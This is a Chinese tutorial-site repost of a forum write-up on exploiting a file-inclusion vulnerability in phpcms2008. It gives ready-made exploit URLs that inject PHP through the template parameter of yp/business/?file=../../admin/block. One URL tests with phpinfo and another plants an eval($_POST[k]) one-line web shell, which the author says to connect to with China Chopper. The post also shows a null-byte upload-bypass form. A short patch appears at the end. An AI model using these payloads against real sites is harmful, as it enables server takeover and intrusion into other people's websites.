网站地图    收藏   

主页 > 后端 > 网站安全 >

phpcms2008包含漏洞的利用 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 前几天在看到了这个漏洞:http://www.2cto.com/Article/201207/141406.html看了看作者对这个漏洞进行的分析,本人小菜只是略懂代码看了一看进行了测试,是对phpcms2008的利用吧,大牛看了不要喷实...

前几天在看到了这个漏洞:http://www.2cto.com/Article/201207/141406.html
 
看了看作者对这个漏洞进行的分析,本人小菜只是略懂代码看了一看进行了测试,是对phpcms2008的利用吧,大牛看了不要喷
 
实例网站:http://www.xxoo.com 为了使网站不至于变成万人日
 
## 注册的时候选择企业用户
if(!$company_user_infos)
{
        $MS['title'] = '您不是企业会员';
        $MS['description'] = '你可以做下面操作';
        $MS['urls'][0] = array(
                'name'=>'免费升级为企业会员',
                'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member',
                );
        $MS['urls'][1] = array(
                'name'=>'退出当前帐号,换其他帐号登陆',
                'url'=>$PHPCMS['siteurl'].'member/logout.php',
                );
        $MS['urls'][2] = array(
                'name'=>'重新注册为企业会员',
                'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'),
                );
        msg($MS);这段代码写了我们注册的时候要注册的是企业会员,有的网站可以注册免费会员然后可以直接免费升级到企业会员的这也是可以利用的
 
我们进行一个企业会员的注册 ,然后进行登陆
 
 www.2cto.com


 
登录以后使用这个,EXP:
 
http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>
 
这段可以直接看到phpinfo里面的内容,如果可以直接看到这个可以证明存在漏洞,是可以远程包含的
 
但是经测试这段作者构造的表单在实际运用中没作用
 
<form id="frmUpload" enctype="multipart/form-data"
action="http://localhost/phpcms/yp/business/?file=../../admin/upload&C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" method="post">
<h1>Upload a new file:</h1>
<input type="file" name="uploadfile" size="50">
<input id="btnUpload" type="submit" value="Upload">
</form>作者说是attachment.class.php里面有黑名单,等等再仔细研究下这个文件吧
 
可以看到phpinfo里面的内容了,可以包含那我们就直接包含一个一句话上去吧
 
http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php eval($_POST[k]);exit();?>直接点击运行,然后可以用菜刀或者php一句话客户端进行连接就ok了
 
对了,自己上传shell以后,路径是在yp/business/ 下面的
 
 
 
既然网站存在这个漏洞,我们怎么修补呢,小菜是这样修补的,经测试是可以的
 
//file_put_contents($tplfile, $tpldata);
//include $tplfile;
//@unlink($tplfile);这几句代码是在 网站根目录   admin/block.inc.php 这个文件里 把这三句代码注释掉就ok了
 
最后,求点金币  求基友,求指导
 
from:http://forum.90sec.org

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论